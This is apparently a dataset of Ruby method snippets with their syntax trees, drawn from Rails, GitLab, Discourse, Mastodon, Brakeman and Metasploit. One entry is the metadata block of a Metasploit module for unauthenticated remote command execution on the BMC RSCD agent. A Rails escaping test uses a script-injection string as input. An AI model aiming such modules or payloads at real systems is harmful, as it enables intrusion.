{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/nodes/node.rb","start_line":129,"raw_source":"def or(right)\n        Nodes::Grouping.new Nodes::Or.new([self, right])\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"or\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"right\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Grouping\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"Or\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}]}","id":"0370c39e-ad6f-4535-916c-b73ee1d0c0ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/project/work_item/new.rb","start_line":45,"raw_source":"def choose_milestone(milestone)\n            within_element('work-item-milestone') do\n              click_element('edit-button')\n              wait_until(reload: false) do\n                has_text?(milestone.title, wait: 0)\n              end\n              find_element(\"listbox-item-gid://gitlab/Milestone/#{milestone.id}\").click\n            end\n          end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"choose_milestone\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestone\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"work-item-milestone\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"edit-button\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"listbox-item-gid://gitlab/Milestone/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestone\"]},\"id\"]}]}]}]},\"click\"]}]}]}]}","id":"e7b0ba5b-1ba0-4aeb-97f4-d1523d46aab6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/merge_request_poll_widget_entity.rb","start_line":132,"raw_source":"def presenter(merge_request)\n    @presenters ||= {}\n    @presenters[merge_request] ||= MergeRequestPresenter.new(merge_request, current_user: current_user) # rubocop: disable CodeReuse/Presenter\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"presenter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@presenters\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@presenters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestPresenter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}]}]}]}]}","id":"16ab7344-183e-4142-a5b9-578665379183"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":285,"raw_source":"def test_button_to_with_form_class_escapes\n    assert_dom_equal %{<form method=\"post\" action=\"http://www.example.com\" class=\"&lt;script&gt;evil_js&lt;/script&gt;\"><button type=\"submit\">Hello</button></form>}, button_to(\"Hello\", \"http://www.example.com\", form_class: \"<script>evil_js</script>\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_button_to_with_form_class_escapes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<form method=\\\"post\\\" action=\\\"http://www.example.com\\\" class=\\\"&lt;script&gt;evil_js&lt;/script&gt;\\\"><button type=\\\"submit\\\">Hello</button></form>\"]},{\"type\":\"send\",\"children\":[null,\"button_to\",{\"type\":\"str\",\"children\":[\"Hello\"]},{\"type\":\"str\",\"children\":[\"http://www.example.com\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_class\"]},{\"type\":\"str\",\"children\":[\"<script>evil_js</script>\"]}]}]}]}]}]}","id":"532c65f2-5cef-436c-8f1b-c649ee8a80d4"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/intermediate_db/user_field_option.rb","start_line":28,"raw_source":"def self.create(user_field_id:, value:, created_at: nil)\n      ::Migrations::Database::IntermediateDB.insert(\n        SQL,\n        user_field_id,\n        value,\n        ::Migrations::Database.format_datetime(created_at),\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user_field_id\"]},{\"type\":\"kwarg\",\"children\":[\"value\"]},{\"type\":\"kwoptarg\",\"children\":[\"created_at\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"IntermediateDB\"]},\"insert\",{\"type\":\"const\",\"children\":[null,\"SQL\"]},{\"type\":\"lvar\",\"children\":[\"user_field_id\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Migrations\"]},\"Database\"]},\"format_datetime\",{\"type\":\"lvar\",\"children\":[\"created_at\"]}]}]}]}","id":"0210079a-1fd1-4de9-a202-3ab2276c3ba0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/session.rb","start_line":92,"raw_source":"def session_host\n    # Prefer the overridden session host or target_host\n    host = @session_host || self.target_host\n    return host if host\n\n    # Fallback to the tunnel_peer (contains port)\n    peer = self.tunnel_peer\n    return if not peer\n\n    # Pop off the trailing port number\n    bits = peer.split(':')\n    bits.pop\n    bits.join(':')\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"session_host\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@session_host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"target_host\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tunnel_peer\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"bits\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"peer\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bits\"]},\"pop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bits\"]},\"join\",{\"type\":\"str\",\"children\":[\":\"]}]}]}]}","id":"3e1d60e3-7ba9-404c-b1b2-ed608dde76e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'BMC Server Automation RSCD Agent NSH Remote ' \\\n                             'Command Execution',\n        'Description' => %q{\n          This module exploits a weak access control check in the BMC Server\n          Automation RSCD agent that allows arbitrary operating system commands\n          to be executed without authentication.\n          Note: Under Windows, non-powershell commands may need to be prefixed\n          with 'cmd /c'.\n        },\n        'Author' => [\n          'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery\n          'Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>' # RCE payload and Metasploit module\n        ],\n        'References' => [\n          ['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],\n          ['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],\n          ['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],\n          ['CVE', '2016-1542'],\n          ['CVE', '2016-1543']\n        ],\n        'DisclosureDate' => '2016-03-16',\n        'Privileged' => false,\n        'Stance' => Msf::Exploit::Stance::Aggressive,\n        'Platform' => %w[win linux unix],\n        'Targets' => [\n          ['Automatic', {}],\n          [\n            'Windows/VBS Stager', {\n              'Platform' => 'win',\n              'Payload' => { 'Space' => 8100 }\n            }\n          ],\n          [\n            'Unix/Linux', {\n              'Platform' => %w[linux unix],\n              'Payload' => { 'Space' => 32_700 }\n            }\n          ],\n          [\n            'Generic Command', {\n              'Arch' => ARCH_CMD,\n              'Platform' => %w[linux unix win]\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'License' => MSF_LICENSE,\n        'Payload' => {\n          'BadChars' => \"\\x00\\x09\\x0a\"\n        },\n        'CmdStagerFlavor' => %w[vbs echo],\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(4750)\n      ]\n    )\n\n    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')\n  end","complexity_score":7.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BMC Server Automation RSCD Agent NSH Remote \"]},{\"type\":\"str\",\"children\":[\"Command Execution\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a weak access control check in the BMC Server\\n\"]},{\"type\":\"str\",\"children\":[\"          Automation RSCD agent that allows arbitrary operating system commands\\n\"]},{\"type\":\"str\",\"children\":[\"          to be executed without authentication.\\n\"]},{\"type\":\"str\",\"children\":[\"          Note: Under Windows, non-powershell commands may need to be prefixed\\n\"]},{\"type\":\"str\",\"children\":[\"          with 'cmd /c'.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Olga Yanushkevich, ERNW <@yaole0>\"]},{\"type\":\"str\",\"children\":[\"Nicky Bloor (@NickstaDB) <nick@nickbloor.co.uk>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-1542\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-1543\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-03-16\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stance\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Stance\"]},\"Aggressive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows/VBS Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[8100]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[32700]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Generic Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\t\\n\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vbs\"]},{\"type\":\"str\",\"children\":[\"echo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[4750]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]},{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"str\",\"children\":[\"SSLCert\"]},{\"type\":\"str\",\"children\":[\"URIPATH\"]}]}]}]}","id":"b4d1b977-e96b-4961-8c8e-70345aa41dc6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":1615,"raw_source":"def test_unscoped_find_by_bang\n    assert_warning check_name: \"UnscopedFind\",\n      type: :warning,\n      warning_code: 82,\n      fingerprint: \"da4c77ce860d5567bfaf5e915b734e54712a276dfbee36694757754a49ed4e0c\",\n      warning_type: \"Unscoped Find\",\n      line: 137,\n      message: /^Unscoped\\ call\\ to\\ `Email\\#find_by!`/,\n      confidence: 2,\n      relative_path: \"app/controllers/users_controller.rb\",\n      code: s(:call, s(:const, :Email), :find_by!, s(:hash, s(:lit, :id), s(:call, s(:call, s(:params), :[], s(:lit, :email)), :[], s(:lit, :id)))),\n      user_input: s(:call, s(:call, s(:params), :[], s(:lit, :email)), :[], s(:lit, :id))\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unscoped_find_by_bang\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"check_name\"]},{\"type\":\"str\",\"children\":[\"UnscopedFind\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[82]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"da4c77ce860d5567bfaf5e915b734e54712a276dfbee36694757754a49ed4e0c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Unscoped Find\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[137]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Unscoped\\\\ call\\\\ to\\\\ `Email\\\\#find_by!`\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/users_controller.rb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"const\"]},{\"type\":\"sym\",\"children\":[\"Email\"]}]},{\"type\":\"sym\",\"children\":[\"find_by!\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_input\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"email\"]}]}]},{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"send\",\"children\":[null,\"s\",{\"type\":\"sym\",\"children\":[\"lit\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}","id":"9d69d67e-6bb8-4bea-93e6-779008a7d14f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter.rb","start_line":47,"raw_source":"def present(key: nil)\n      output = []\n      output << \"Primary Principal: #{ccache.default_principal}\"\n      output << \"Ccache version: #{ccache.version}\"\n      output << ''\n      output << \"Creds: #{ccache.credentials.length}\"\n      output << ccache.credentials.map.with_index do |cred, index|\n        \"Credential[#{index}]:\\n#{present_cred(cred, key: key).indent(2)}\".indent(2)\n      end.join(\"\\n\")\n      output.join(\"\\n\")\n    end","complexity_score":31.8,"ast_json":"{\"type\":\"def\",\"children\":[\"present\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"key\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Primary Principal: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ccache\"]},\"default_principal\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Ccache version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ccache\"]},\"version\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creds: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ccache\"]},\"credentials\"]},\"length\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ccache\"]},\"credentials\"]},\"map\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cred\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credential[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\"]:\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"present_cred\",{\"type\":\"lvar\",\"children\":[\"cred\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]}]},\"indent\",{\"type\":\"int\",\"children\":[2]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"4a76ee88-758d-4630-9952-f353c6ad13b4"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/requests/api/v1/admin/trends/links/links_spec.rb","start_line":50,"raw_source":"def expects_correct_link_data\n      expect(response.parsed_body).to match(\n        a_hash_including(\n          url: preview_card.url,\n          title: preview_card.title,\n          description: preview_card.description,\n          type: 'link',\n          requires_review: false\n        )\n      )\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expects_correct_link_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"parsed_body\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"send\",\"children\":[null,\"a_hash_including\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_card\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_card\"]},\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preview_card\"]},\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_review\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"fdbb9347-50a0-4f27-a9a8-49aed48c8c68"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb","start_line":122,"raw_source":"def serialize_with_oldest?\n          @serialize_with_oldest ||= fixed? && previous_types_without_clean_text.present?\n        end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"serialize_with_oldest?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@serialize_with_oldest\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_types_without_clean_text\"]},\"present?\"]}]}]}]}","id":"4dd5c320-bef5-4f49-8b28-c02585875f69"}
